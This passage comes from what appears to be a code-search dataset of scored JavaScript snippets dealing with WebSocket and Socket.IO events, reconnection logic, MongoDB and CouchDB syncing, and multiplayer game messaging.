this.resetDependentsSubscriptionAndObserver();\n\n // create a new Meteor subscription, but only if there are some filter values\n if (dependentFilter.length > 0) {\n this.dependentsSubscription = Meteor.subscribe(\"dependents\", dependentFilter, {\n // callback when the Meteor subscription is ready\n onReady: () => {\n // create a Meteor observer to watch the subscription for changes and update data when they occur\n this.dependentsObserver = Dependents.find().observe({\n added: () =>{\n this.refreshDependents(state);\n },\n changed: () => {\n this.refreshDependents(state);\n }\n });\n }\n });\n }\n }\n });\n }", "title": "" }, { "docid": "5c0d5b134964785646d1a012d35e115e", "score": "0.51770955", "text": "_onInitialRecv() {\r\n this.events.onInitialRecv();\r\n }", "title": "" }, { "docid": "e4b58ad5adbd1715995a8c4a299cc311", "score": "0.5177012", "text": "enter(client) {\n super.enter(client);\n\n this.receive(client, 'hit', (mag, hitTime) => {\n console.log(\"hit recieved from\", client.index, \"mag\", mag);\n if(this.playingClient.index != client.index) return;\n\n this.playingClient = client;\n\n for(let otherClient of this.clients) {\n if(otherClient.index != client.index) {\n console.log(\"Sending go to\", otherClient.index);\n this.send(otherClient, \"go\", hitTime);\n\n this.playingClient = otherClient;\n }\n }\n });\n\n this.receive(client, 'missed', () => {\n console.log(\"miseed recieved from\", client.index);\n if(this.playingClient.index != client.index) return;\n\n this.playingClient = client;\n\n for(let otherClient of this.clients) {\n if(otherClient.index != client.index) {\n console.log(\"Sending go to\", otherClient.index);\n this.send(otherClient, \"go\");\n\n this.playingClient = otherClient;\n }\n }\n });\n\n // When the game starts\n if(this.clients.length > 1) {\n this.broadcast(client.type, client, 'play');\n console.log(\"ready to play\");\n\n this.playingClient = this.clients[0];\n this.send(this.playingClient, \"go\");\n }\n }", "title": "" }, { "docid": "6b0681d8d5ae0369a0dad146fac473d6", "score": "0.51643974", "text": "RecibirSincronizacion(){\n console.log(\"started\");\n this.onlineReady = true;\n if(this.localReady){\n this.localReady = false;\n this.onlineReady = false;\n this.startGameReal();\n }\n }", "title": "" }, { "docid": "39277a3ea8ee160b266e7066b3392ac8", "score": "0.5163399", "text": "function startLiveReplication() {\r\n self.replicator = self.localDB.replicate.from(remoteURL, {live: true})\r\n .on('change', function () {\r\n timeout = options.initialTimeout; // reset\r\n })\r\n .on('uptodate', function() {\r\n if(!self.DBSynced) {\r\n self.DBSynced = true;\r\n self.readDB = self.localDB;\r\n console.log('Initial sync of ' + dbname + ' complete.');\r\n }\r\n })\r\n .on('error', function (err) {\r\n self.DBSynced = false;\r\n self.readDB = self.remoteDB;\r\n if(shutdown || options.noRetry) return;\r\n console.warn('Error: Live replication failed. Retrying in ' + timeout / 1000 + 'seconds.');\r\n console.warn(err);\r\n setTimeout(function () {\r\n timeout *= options.backoff;\r\n if(timeout > options.maxTimeout) {\r\n timeout = options.maxTimeout;\r\n }\r\n startLiveReplication();\r\n }, timeout);\r\n });\r\n }", "title": "" }, { "docid": "9bfde7be4ad02d64256f392d8b1c2d9a", "score": "0.5148515", "text": "onConn() {}", "title": "" }, { "docid": "854771d61af7e33ec28d741bdc726066", "score": "0.51374114", "text": "function onResetGame(){\n io.sockets.emit(\"reset controllers\",{});\n globals.gameInProgress = false;\n}", "title": "" }, { "docid": "4d864dfbaa2407d93e48bb95aa800adc", "score": "0.51364005", "text": "function onConnectionLost() {\n isReconnected = true;\n }", "title": "" }, { "docid": "00971610c860a28946ec6a891adee449", "score": "0.51363677", "text": "async start() {\n const clientReady =\n this._startWatching(this._clientMappings, this._handleClientChange);\n const serverReady =\n this._startWatching(this._serverMappings, this._handleServerChange);\n\n // Log a note after everything is ready.\n await clientReady;\n await serverReady;\n log.event.running();\n }", "title": "" }, { "docid": "0f63f80f851d253664944984bc2c4765", "score": "0.5133608", "text": "function DB_WipeOnStart() {\r\n console.warn(`!!! Wiping our MongoDB !!!`);\r\n\r\n db.Player.remove({}, function (err, data) {\r\n if (err) throw err;\r\n console.log(`Removed Player collection from DB ...`);\r\n console.log(data);\r\n })\r\n\r\n db.Messages.remove({}, function(err, data){\r\n if(err) throw err;\r\n console.log(`Removed Messages collection from DB ...`);\r\n console.log(data);\r\n })\r\n\r\n db.User.remove({}, function(err, data){\r\n if(err) throw err;\r\n console.log(`Removed Messages collection from DB ...`);\r\n console.log(data);\r\n })\r\n}", "title": "" }, { "docid": "7f97ec8ef1f0511a35c8e588c7f0462d", "score": "0.5119733", "text": "listenConnectionEvents() {\n\t\tthis.debug('listenConnectionEvents')\n\t\tthis.io.on ('connection', (socket) => {\n\t\t\tthis.debug ('socket connected')\n\t\t\t\n\t\t\tthis.useMiddleWare (socket)\n\t\t\tthis.listenLifeEvents (socket)\n\t\t\tthis.listenAuth (socket);\n\t\t\t\n\t\t})\n\t}", "title": "" }, { "docid": "91538c756ef1862c0230ef43becde58d", "score": "0.511386", "text": "_sendRestart() {\n clearTimeout(this._conn._idleTimeout);\n\n this._conn._onIdle.bind(this._conn)();\n }", "title": "" }, { "docid": "91538c756ef1862c0230ef43becde58d", "score": "0.511386", "text": "_sendRestart() {\n clearTimeout(this._conn._idleTimeout);\n\n this._conn._onIdle.bind(this._conn)();\n }", "title": "" }, { "docid": "b63a38f8e559145917dbfce7f673b190", "score": "0.5107082", "text": "function onReconnect() {\n clearTimeout(serverDownTimeout);\n reconnect();\n}", "title": "" }, { "docid": "daa3fa7c362c4b14a219d4791598a6a3", "score": "0.50944644", "text": "broadcastStateUpdates() {\n const currentTime = new Date().getTime();\n if (currentTime > this.elapsedTime + this.TICK_RATE &&\n this.sockets.size > 1) {\n const updateArray = [];\n this.sockets.forEach((player) => {\n const { socket } = player, rest = __rest(player, [\"socket\"]);\n updateArray.push(rest);\n });\n this.server.sockets.emit(interfaces_1.SocketEvent.UPDATE_STATE, updateArray);\n this.elapsedTime = currentTime;\n }\n }", "title": "" }, { "docid": "652b59d65fb23cca97bc0bdeb16e861f", "score": "0.5090542", "text": "_onIdle() {\n const data = this._conn._data;\n\n if (data.length > 0 && !this._conn.paused) {\n for (let i = 0; i < data.length; i++) {\n if (data[i] !== null) {\n let stanza;\n\n if (data[i] === \"restart\") {\n stanza = this._buildStream().tree();\n } else {\n stanza = data[i];\n }\n\n const rawStanza = _core__WEBPACK_IMPORTED_MODULE_1__[/* Strophe */ \"e\"].serialize(stanza);\n\n this._conn.xmlOutput(stanza);\n\n this._conn.rawOutput(rawStanza);\n\n this.socket.send(rawStanza);\n }\n }\n\n this._conn._data = [];\n }\n }", "title": "" }, { "docid": "8bf37d267b99e44d8999369027332058", "score": "0.5088061", "text": "constructor() {\n super({ delimiter: '.', wildcard: true })\n this.subId = 1\n this.inboxId = 1\n this.subscriptions = new Map()\n this.timeoutsMap = new Map()\n this.connected = false\n setImmediate(() => {\n this.connected = true\n this.emit('connect')\n })\n }", "title": "" }, { "docid": "e78c57baa4a36c45030b1a7b665b79f3", "score": "0.5085979", "text": "_onIdle() {\n const data = this._conn._data;\n\n if (data.length > 0 && !this._conn.paused) {\n for (let i = 0; i < data.length; i++) {\n if (data[i] !== null) {\n let stanza;\n\n if (data[i] === \"restart\") {\n stanza = this._buildStream().tree();\n } else {\n stanza = data[i];\n }\n\n const rawStanza = _core__WEBPACK_IMPORTED_MODULE_1__[/* Strophe */ \"c\"].serialize(stanza);\n\n this._conn.xmlOutput(stanza);\n\n this._conn.rawOutput(rawStanza);\n\n this.socket.send(rawStanza);\n }\n }\n\n this._conn._data = [];\n }\n }", "title": "" }, { "docid": "d92be241e39f7c493bf73344d7fbd8dd", "score": "0.5081802", "text": "function listenChanges(db) {\n self.changes = db\n .changes({\n since: \"now\",\n live: true,\n conflicts: true\n })\n .on(\"change\", function(change) {\n Logger.debug(\"changes\", change);\n if (self.replicationHandle) {\n clearTimeout(self.replicationHandle);\n self.replicationHandle = null;\n Logger.debug(\"previous sync call is aborted.\");\n }\n self.replicationHandle = setTimeout(\n replicateDataToRemote.bind(self),\n 300\n );\n })\n .on(\"complete\", function(info) {\n Logger.debug(\"Changes are done.\");\n })\n .on(\"error\", function(err) {\n Logger.error(err);\n });\n }", "title": "" }, { "docid": "f65741cf9a1686a4e2319e965256c00a", "score": "0.50720465", "text": "openConnection() {\n this.app.post('/initializeConnection', (req, res) => {\n let newPlayer = new Player(req.body.name);\n newPlayer.setupPlayer(this.game.board);\n this.game.players.push(newPlayer);\n this.game.board.markMoveOnBoard(newPlayer);\n this.updateBrowser();\n this.eventEmitter.on('emitGameStart', (msg) => {\n res.send(true);\n });\n });\n this.app.get('/getCurrentState', (req, res) => {\n res.send(JSON.stringify(this.game));\n });\n this.app.post('/move', (req, res) => {\n let playerName = req.body.name;\n let playerMove = req.body.input;\n let stillInGame = true;\n this.game.players.forEach((player) => {\n stillInGame = player.isInGame;\n player.name == playerName ? player.direction = playerMove : \"\";\n });\n res.send(stillInGame);\n });\n\n this.io.on('connection', (socket) => {\n socket.on('gameStart', (data) => {\n this.emitEvent('emitGameStart');\n this.changeGameState(\"RUNNING\");\n this.logMesssage(`Game started, number of players: ${this.game.players.length}`);\n this.nextTurn();\n });\n });\n }", "title": "" }, { "docid": "0af1da80a55fd8cfb7772049393fc65d", "score": "0.5070554", "text": "function init() {\n\t// connect to database\n\tmongoose.connect('mongodb://localhost/msu');\n\n\tlog('Starting server on port ' + port);\n\tio = io.listen(port);\n\n\tio.sockets.on('connection', function(socket) {\n // GLOBAL: io.sockets.emit('new-connection', 'user connected');\n\t\tsocket.on('identify', socketFn(socket, identifyClient)); \n\t\tsocket.on('disconnect', socketFn(socket, removeClient));\n\t\tsocket.on('reporter-action', socketFn(socket, logAction));\n\t\tsocket.on('request-uuid', socketFn(socket, provideUuid));\n\t\tsocket.on('request-history', socketFn(socket, sendHistory)); \n\t});\n}", "title": "" }, { "docid": "600a069cad6203fc1e9f8a5d4af3b2c3", "score": "0.50664115", "text": "static pingReceived() {\n this.clearTimers();\n\n this.timeSincePing = setTimeout(() => {\n console.log(\"Not receiving ping from server\");\n this.client.send(\"?\");\n this.disconnectTimer = setTimeout(() => {\n console.log(\"Disconnected from server\");\n this.client.close();\n }, 10000);\n }, 10000)\n }", "title": "" }, { "docid": "bbb088539486b4f5944d00812ebfad74", "score": "0.50654835", "text": "function testDB(){\n var clientId;\n var data = { os: 'Darwin 12.5.0',\n cpu: 'Intel(R) Core(TM) i7-3740QM CPU @ 4.70GHz',\n cpuamount: 1468,\n hostname: 'WDFAWESOME',\n ips: [ '1.47.94.182' ],\n node: 'v0.10.18' } ;\n Persistence.addClient(data)\n .then(function(id){\n clientId = id;\n console.log(\"initialized client\", clientId)\n socket = {};\n socket.clientId = clientId;\n sendWatchedItems(socket);\n\n }, function(err){\n console.log(\"could not initialize db\", err);\n });\n\n setTimeout(function(){\n var data = {\n name: \"sampleProcess\",\n props: [\n {name: \"named\", values:[\"a\",\"b\",\"c\"], type:\"enum\", default: \"a\"},\n {name: \"adsf\",type:\"string\", default: \"hans\"}\n ]\n };\n Persistence.addEventType(clientId, data)\n .then(function(id){\n Persistence.getAllEventTypes()\n .then(function(res){console.log(JSON.stringify(res))})\n\n }, function(err){\n console.log(\"could not add event\", err);\n });\n\n //status\n (function addStatus(){\n var data = [{name: \"cpu\", value: Math.random()}, {name: \"memory\", value: Math.random()}];\n Persistence.addStatus(clientId, data);\n\n data.forEach(function(item){\n item.timestamp = Date.now();\n });\n that.broadcastStatus(clientId, data);\n setTimeout(addStatus, 5000);\n }());\n\n //events\n (function addEvent(){\n var data = {id: 1, status: Math.random()>0.5, description: \"some random error\"};\n\n Persistence.addEvent(clientId, data).then(function(event){\n Mailer.handle(clientId, event)\n });\n\n data.timestamp = Date.now();\n that.broadcastEvent(clientId, data);\n setTimeout(addEvent, 2000 + Math.random() * 10000);\n }());\n }, 1500);\n\n }", "title": "" }, { "docid": "241d17181c74d4e5b4d9821c4a1eecf3", "score": "0.5065324", "text": "_onMessage(dbname, heads) {\n // console.log(\".MESSAGE\", dbname, heads)\n const store = this.stores[dbname]\n store.sync(heads)\n }", "title": "" }, { "docid": "8538386d2b0af59888a27cf19fe813e0", "score": "0.50565577", "text": "function loadDrawingsTimeLapse(socket){\n console.log(\"loading time lapse\");\n\n var MongoClient = mongo.MongoClient;\n var url = process.env.MONGODB_URI;\n //var url = \"mongodb://localhost:27017/\";\n\n MongoClient.connect(url, function(err, db) {\n if (err) throw err;\n //var dbo = db.db(\"mural\"); // Select db\n var dbo = db.db(\"heroku_9x9gsclt\"); // Select db\n dbo.collection(\"mural\").find({}).toArray(function(err, result) {\n if (err) throw err;\n socket.emit('timelapse', result);\n // console.log(result);\n db.close();\n });\n\n });\n\n}", "title": "" }, { "docid": "916d90a76f988c27dd345bec559e518c", "score": "0.50555336", "text": "serverSidePlayerJoined(ev) {\n let controllers = this.world.queryObjects({ instanceType: PlayerController });\n if (controllers[0].playerId === 0) {\n controllers[0].playerId = ev.playerId;\n } else if (controllers[1].playerId === 0) {\n controllers[1].playerId = ev.playerId;\n }\n }", "title": "" }, { "docid": "bf03ff7dab0fcc88b81d8921bf4e9ee4", "score": "0.50551194", "text": "function disconn() {\n return\n}", "title": "" }, { "docid": "98afd398c35d0002d52ac3b2446d198d", "score": "0.50505936", "text": "function Sock() {\n\n\t}", "title": "" }, { "docid": "37d677d318ae3a1a4af83fa816e73a17", "score": "0.5049652", "text": "onreconnect() {\n const attempt = this.backoff.attempts;\n this._reconnecting = false;\n this.backoff.reset();\n this.emitReserved(\"reconnect\", attempt);\n }", "title": "" }, { "docid": "26b25c0a65c74ca0e77977ff811065ec", "score": "0.5049202", "text": "function onConnection(socket){\n // Set up listener on channel drawing\n socket.on('drawing', (data) =>{\n // Emit to all on channel drawing, to update on new drawing\n socket.broadcast.emit('drawing', data);\n saveLineToDB(data, socket);\n });\n\n // Set up listener for loading timelapse\n socket.on('load_timelapse', (data) => {\n console.log(\"loading time lapse\");\n \n var MongoClient = mongo.MongoClient;\n var url = process.env.MONGODB_URI;\n //var url = \"mongodb://localhost:27017/\";\n \n MongoClient.connect(url, function(err, db) {\n if (err) throw err;\n //var dbo = db.db(\"mural\"); // Select db\n var dbo = db.db(\"heroku_9x9gsclt\"); // Select db\n dbo.collection(\"mural\").find({}).toArray(function(err, result) {\n if (err) throw err;\n socket.emit('timelapse', result);\n // console.log(result);\n db.close();\n });\n \n });\n }); \n\n}", "title": "" }, { "docid": "6f0d0ee8c421ad4e9395d380fd9d85e4", "score": "0.5048758", "text": "init() {\n // MongoDB <= 4\n moduleUtils.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'insert',\n mongodbInsertWrapper,\n mongodb => mongodb\n );\n moduleUtils.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'update',\n mongodbUpdateWrapper,\n mongodb => mongodb\n );\n moduleUtils.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'remove',\n mongodbRemoveWrapper,\n mongodb => mongodb\n );\n moduleUtils.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'query',\n mongodbQueryWrapper,\n mongodb => mongodb\n );\n moduleUtils.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'getMore',\n mongodbGetMoreWrapper,\n mongodb => mongodb\n );\n moduleUtils.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'command',\n mongodbCommandWrapper,\n mongodb => mongodb\n );\n // MongoDB >= 4\n moduleUtils.patchModule(\n 'mongodb/lib/cmap/connection',\n 'command',\n mongodbConnectionCommandWrapper,\n connection => connection.Connection.prototype\n );\n moduleUtils.patchModule(\n 'mongodb/lib/cmap/connection',\n 'query',\n mongodbConnectionQueryWrapper,\n connection => connection.Connection.prototype\n );\n moduleUtils.patchModule(\n 'mongodb/lib/cmap/connection',\n 'getMore',\n mongodbConnectionGetMoreWrapper,\n connection => connection.Connection.prototype\n );\n }", "title": "" }, { "docid": "621536648340252a73b086eb192cb660", "score": "0.5037327", "text": "static listenSocketEvents() {\n Socket.shared.on(\"user:updated\", (data) => {\n let logger = Logger.create(\"user:updated\");\n logger.info(\"enter\", data);\n\n Redux.dispatch(User.actions.userUpdatedEvent(data));\n });\n }", "title": "" }, { "docid": "f9fce193592247cf11021c90a9b10299", "score": "0.50315326", "text": "resubscribe (thing) {\n \tif (!thing.ws) {\n \t\tconsole.log('reopening web socket for ' + thing.name);\n \t\tthing.platform.subscribe(thing);\n \t}\n }", "title": "" }, { "docid": "caf4af4acafa463826493b00ce64df91", "score": "0.50298333", "text": "init() {\n this._connection();\n db = mongoose.connection;\n // db.set('debug', true)\n\n /**\n * 连接成功\n */\n db.on('open', function () {\n console.log('Mongoose connection open to ' + DB_URL);\n if (timeout)\n clearInterval(timeout);\n });\n\n // /**\n // * 连接异常\n // */\n db.on('error', function (err) {\n console.log('Mongoose connection error: ' + err);\n });\n\n // /**\n // * 连接断开\n // */\n db.on('disconnected', function () {\n console.log('Mongoose connection disconnected');\n timeout = setTimeout(_db._connection, 60000);//retry connection。\n });\n \n }", "title": "" }, { "docid": "045e51c5cd4aacb24baaa54a8e333a69", "score": "0.5028297", "text": "resubscribe (thing) {\n \tif (!thing.eventSource) {\n \t\tconsole.log('reopening event source for ' + thing.name);\n \t\tthing.platform.subscribe(thing);\n \t}\n }", "title": "" }, { "docid": "108031ed65355b2b2cacca6d9ccb275b", "score": "0.50247324", "text": "function eject() {\n socket.emit('1');\n}", "title": "" }, { "docid": "dc2108a19b32f7e53ca7a6352444dade", "score": "0.5023101", "text": "function onConnectionOpened() {\n winston.info(\"connection reopened\");\n // get new topology now\n setTimeout(refreshTopology, 100);\n setTimeout(pollResults, 100);\n // start getting new topology periodically\n refreshTopologyHandle = setInterval(refreshTopology, options.refresh * 1000);\n refreshResultsHandle = setInterval(pollResults, options.poll * 1000);\n Management.connection.addDisconnectAction(onConnectionDropped);\n}", "title": "" }, { "docid": "a6220e59936f74d10d6473803c2f5357", "score": "0.5018565", "text": "pong(event)\n {\n event.port.alive = CrossWorker._tick;\n this.log('pong', CrossWorker._tick);\n }", "title": "" }, { "docid": "01915cc5d014bf729148019124d9e6e6", "score": "0.50170654", "text": "onreconnect() {\n const attempt = this.backoff.attempts;\n this._reconnecting = false;\n this.backoff.reset();\n this.emitReserved(\"reconnect\", attempt);\n }", "title": "" }, { "docid": "01915cc5d014bf729148019124d9e6e6", "score": "0.50170654", "text": "onreconnect() {\n const attempt = this.backoff.attempts;\n this._reconnecting = false;\n this.backoff.reset();\n this.emitReserved(\"reconnect\", attempt);\n }", "title": "" }, { "docid": "01915cc5d014bf729148019124d9e6e6", "score": "0.50170654", "text": "onreconnect() {\n const attempt = this.backoff.attempts;\n this._reconnecting = false;\n this.backoff.reset();\n this.emitReserved(\"reconnect\", attempt);\n }", "title": "" }, { "docid": "01915cc5d014bf729148019124d9e6e6", "score": "0.50170654", "text": "onreconnect() {\n const attempt = this.backoff.attempts;\n this._reconnecting = false;\n this.backoff.reset();\n this.emitReserved(\"reconnect\", attempt);\n }", "title": "" }, { "docid": "cf8167b844762d7e43555181555ac461", "score": "0.50090134", "text": "function Mo(t, e) {\n var n = O(t);\n n.Or.has(e.targetId) || (\n // Mark this as something the client is currently listening for.\n n.Or.set(e.targetId, e), Bo(n) ? \n // The listen will be sent in onWatchStreamOpen\n Uo(n) : rs(n).er() && Vo(n, e));\n}", "title": "" }, { "docid": "7ae85ec0d1d253cb272406d9c131a029", "score": "0.50063866", "text": "init() {\n moduleUtils$f.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'insert',\n mongodbWrapper,\n mongodb => mongodb\n );\n moduleUtils$f.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'update',\n mongodbWrapper,\n mongodb => mongodb\n );\n moduleUtils$f.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'remove',\n mongodbWrapper,\n mongodb => mongodb\n );\n moduleUtils$f.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'query',\n mongodbWrapper,\n mongodb => mongodb\n );\n moduleUtils$f.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'getMore',\n mongodbWrapper,\n mongodb => mongodb\n );\n moduleUtils$f.patchModule(\n 'mongodb/lib/core/wireprotocol/index.js',\n 'command',\n mongodbCommandWrapper,\n mongodb => mongodb\n );\n }", "title": "" }, { "docid": "8501406f6f3fe92ffa91fac64aa9352e", "score": "0.500626", "text": "onreconnect() {\n const attempt = this.backoff.attempts;\n this._reconnecting = false;\n this.backoff.reset();\n this.emitReserved(\"reconnect\", attempt);\n }", "title": "" }, { "docid": "e0d2c4229522aaea4688dc078c21f748", "score": "0.50035715", "text": "static eventLoop() {\n if(eventID == null)\n return\n\n APIFetch('GET', `/realtime/${eventID}`).then(res => {\n if (res.length > 0) {\n eventID = res[0]['id']\n }\n\n // Remove the id from the listeners' view and convert JSON.\n res.map(obj => {\n delete obj['id']\n obj['updates'] = JSON.parse(obj['updates'])\n return obj\n })\n\n // Notify all listeners and continue event loop.\n listeners.forEach(l => l(res))\n setTimeout(Realtime.eventLoop, 3000)\n }).catch(err => {\n Realtime.unlistenAll(err)\n })\n }", "title": "" }, { "docid": "3fe355e5226afbedc36c32a1e0397179", "score": "0.49954513", "text": "reset() {\n this._proto._reset(); // SASL\n\n\n this.do_session = false;\n this.do_bind = false; // handler lists\n\n this.timedHandlers = [];\n this.handlers = [];\n this.removeTimeds = [];\n this.removeHandlers = [];\n this.addTimeds = [];\n this.addHandlers = [];\n this.authenticated = false;\n this.connected = false;\n this.disconnecting = false;\n this.restored = false;\n this._data = [];\n this._requests = [];\n this._uniqueId = 0;\n }", "title": "" }, { "docid": "3fe355e5226afbedc36c32a1e0397179", "score": "0.49954513", "text": "reset() {\n this._proto._reset(); // SASL\n\n\n this.do_session = false;\n this.do_bind = false; // handler lists\n\n this.timedHandlers = [];\n this.handlers = [];\n this.removeTimeds = [];\n this.removeHandlers = [];\n this.addTimeds = [];\n this.addHandlers = [];\n this.authenticated = false;\n this.connected = false;\n this.disconnecting = false;\n this.restored = false;\n this._data = [];\n this._requests = [];\n this._uniqueId = 0;\n }", "title": "" }, { "docid": "0d422b220b0656c758f89293016ae448", "score": "0.49939114", "text": "disConnectMongoose(){\n if(mongoose.connection.readyState === 3){\n mongoose.disconnect();\n }\n }", "title": "" }, { "docid": "cc4a94665e2413d42fd38175f9de0cb0", "score": "0.49913672", "text": "_onReconnectAttempt () {\n log( 'Event: reconnect_attempt' );\n\n this.emit( 'reconnect_attempt' );\n }", "title": "" }, { "docid": "4da1bff313be0111a81a8d80fa9300fe", "score": "0.49894094", "text": "_readyClients () {\n this.__enableOrFlushClients();\n }", "title": "" }, { "docid": "0daf182f9fe9d095fb2920698fb48d97", "score": "0.49891317", "text": "function onConnect() {\n// Once a connection has been made, make a subscription and send a message.\nconsole.log(\"onConnect\");\nclient.subscribe(\"telemetry/snapshot\");\n\n}", "title": "" }, { "docid": "cad8374aa0ab274bd7ff94ab4a1dfebd", "score": "0.498521", "text": "function initializeDatabaseConnectionInstances(moo) {\n //Initialize MongoDB instance\n moo.server.dataConnections.mongoDB.set(\"mongodb://localhost:27017/#appName#\");\n}", "title": "" }, { "docid": "b36a9888d886f0db469d708eef966b44", "score": "0.4983724", "text": "function onListening(){\n var addr = server.address();\n var bind = typeof addr == 'string'\n ? 'pipe' + addr\n : 'port' + addr.port;\n ('Listening on' + bind);\n logger.info('server listening on port'+addr.port,'serverOnListeningHandler',10);\n let db = mongoose.connect(appConfig.db.uri,{ useMongoClient : true});\n\n}", "title": "" }, { "docid": "bc9d8f917a0f22d0aa6c813414e481f3", "score": "0.49822128", "text": "listen(stream) {\n this.share.listen(stream);\n }", "title": "" }, { "docid": "2faee78b83680c3309840f94c8f1d50e", "score": "0.4979947", "text": "function listener (db) {\n\t// Create a server that listens on a port for data sent by the probes\n\tnet.createServer(function(client) {\n\t\t// Read in-bound data from a probe and load into Mongo\n\t\tclient.on('data', function(data) {\n\t\t\tcommon.logAction('MON010', []);\n\t\t\tmongo_open(JSON.parse(data.toString()));\n\t\t});\n\t \n\t\t// Trap connection errors\n\t\tclient.on('error', function(err) {\n\t\t\tvar addr = cfg.monitorHost() + ':' + cfg.monitorPort();\n\t\t\t\n\t\t\tif((/ECONNREFUSED/).test(err)) {\n\t\t\t\tcommon.logAction('MON004', [addr]);\n\t\t\t}\n\t\t\telse if((/ETIMEDOUT/).test(err)) {\n\t\t\t\t// TODO Where is connection time set?\n\t\t\t\tcommon.logAction('MON005', [addr]);\n\t\t\t}\n\t\t\telse if((/ECONNRESET/).test(err)) {\n\t\t\t\tcommon.logAction('MON006', [addr]);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tcommon.logAction('MON007', [addr, err]);\n\t\t\t}\n\t\t});\n\t}).listen(cfg.monitorPort(), cfg.monitorHost());\n\tcommon.logAction('MON008', [cfg.monitorHost(), cfg.monitorPort()]);\n\t\n\t// Start the probes\n\tstart_probes();\n}", "title": "" }, { "docid": "4b06ff72ec348230a59f844534939764", "score": "0.49748883", "text": "function connect() {\n var client, db;\n return regeneratorRuntime.async(function connect$(_context) {\n while (1) {\n switch (_context.prev = _context.next) {\n case 0:\n _context.prev = 0;\n _context.next = 3;\n return regeneratorRuntime.awrap(_mongodb[\"default\"].connect('mongodb://localhost:27017', {\n useUnifiedTopology: true\n }));\n\n case 3:\n client = _context.sent;\n db = client.db('carlot');\n console.log('The Db has been conected');\n return _context.abrupt(\"return\", db);\n\n case 9:\n _context.prev = 9;\n _context.t0 = _context[\"catch\"](0);\n console.log(_context.t0);\n\n case 12:\n case \"end\":\n return _context.stop();\n }\n }\n }, null, null, [[0, 9]]);\n}", "title": "" }, { "docid": "58ccdd1c1b0b3627dae2d112230d895d", "score": "0.49688333", "text": "onActivate() {\n super.onActivate();\n\n console.log('session_server/onActivate');\n\n // eslint-disable-next-line camelcase\n const sockOpts = {sockjs_url: 'http://cdn.jsdelivr.net/sockjs/1.0.1/sockjs.min.js'};\n\n this.app = SockJs.createServer(sockOpts);\n\n this.app.on('connection', this._onConnectionAttempt);\n\n this.httpServer = Http.createServer();\n\n this.httpServer.addListener('upgrade', function (req, res) {\n res.end();\n });\n\n this.app.installHandlers(this.httpServer, {prefix: this.prefix});\n this.httpServer.listen(this.port, '0.0.0.0');\n\n console.log('Listening on 0.0.0.0:' + this.port);\n }", "title": "" }, { "docid": "40fd73a9502b20c59be3564d87364c74", "score": "0.49686116", "text": "function resetConnection() {\n //close socket\n GEPPETTO.MessageSocket.close();\n //clear message handlers, all tests within module should have performed by time method it's called\n GEPPETTO.MessageSocket.clearHandlers();\n //connect to socket again for next test\n GEPPETTO.MessageSocket.connect(GEPPETTO.MessageSocket.protocol + window.location.host + '/' + window.BUNDLE_CONTEXT_PATH + '/GeppettoServlet');\n }", "title": "" }, { "docid": "fc5b9f992c56214e90d68eea43f09c9f", "score": "0.4968607", "text": "function Wo(t, e) {\n var n = m(t);\n n.Hu.has(e.targetId) || (\n // Mark this as something the client is currently listening for.\n n.Hu.set(e.targetId, e), $o(n) ? \n // The listen will be sent in onWatchStreamOpen\n Yo(n) : ls(n).uu() && Qo(n, e));\n}", "title": "" }, { "docid": "fc5b9f992c56214e90d68eea43f09c9f", "score": "0.4968607", "text": "function Wo(t, e) {\n var n = m(t);\n n.Hu.has(e.targetId) || (\n // Mark this as something the client is currently listening for.\n n.Hu.set(e.targetId, e), $o(n) ? \n // The listen will be sent in onWatchStreamOpen\n Yo(n) : ls(n).uu() && Qo(n, e));\n}", "title": "" }, { "docid": "4d751da24a78fdd8c887be3053133eef", "score": "0.4964602", "text": "function sync() {\n var opts = {live: true};\n db.replicate.to(remoteCouch, opts, syncError);\n db.replicate.from(remoteCouch, opts, syncError);\n}", "title": "" }, { "docid": "a16becf4fa0b66546b3b0262c8f06acc", "score": "0.49585167", "text": "function On_Lostconnect() {\n\tconsole.log('On lostconnect');\n\tclearInterval(pHeartbeatHandle);\n\tpHeartbeatHandle = 0;\n\tclearInterval(pReportHandle);\n\tpReportHandle = 0;\n}", "title": "" }, { "docid": "695195e47249fc7f747be3b72f53e150", "score": "0.49579155", "text": "function reset() {\n eventsSent = 0;\n}", "title": "" }, { "docid": "98c905d10c09c0986ba2fc00d46d1540", "score": "0.49534392", "text": "resetState(sameState){\n if(this.state===sameState){\n this.$log.log(\"Gamestate looped as: \" + this.state);\n this.eventService.publish(this.state, this.state);\n this.updateMessages();\n }\n else\n this.$log.log(\"In state: \" + this.state + \" cannot reset: \" + sameState);\n }", "title": "" }, { "docid": "ead64d6b3a390718c2bf222c5af013fa", "score": "0.49420014", "text": "restartGame() {\n\t\tconsole.log(\"RESTARTING\");\n\t\tthis.channel.push(\"restartGame\")\n\t\t\t.receive(\"ok\", this.gotView.bind(this));\n\t}", "title": "" }, { "docid": "72aee567543404f058bee8527bc630a8", "score": "0.49349287", "text": "function replayAnalyticsRequests() {\n var savedRequests = [];\n\n getAnaStore('offana', 'readonly').openCursor().onsuccess = function(event) {\n // See https://developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB#Using_a_cursor\n var cursor = event.target.result;\n\n if (cursor) {\n // Keep moving the cursor forward and collecting saved requests.\n savedRequests.push(cursor.value);\n cursor.continue();\n } else {\n // At this point, we have all the saved requests.\n console.log('About to replay %d saved Google Analytics requests...', savedRequests.length);\n\n savedRequests.forEach(function(savedRequest) {\n var queueTime = Date.now() - savedRequest.timestamp;\n if (queueTime > STOP_RETRYING_AFTER) {\n getAnaStore('offana', 'readwrite').delete(savedRequest.url);\n console.log(' Request has been queued for %d milliseconds. No longer attempting to replay.', queueTime);\n } else {\n // The qt= URL parameter specifies the time delta in between right now, and when the\n // /collect request was initially intended to be sent. See\n // https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters#qt\n var requestUrl = 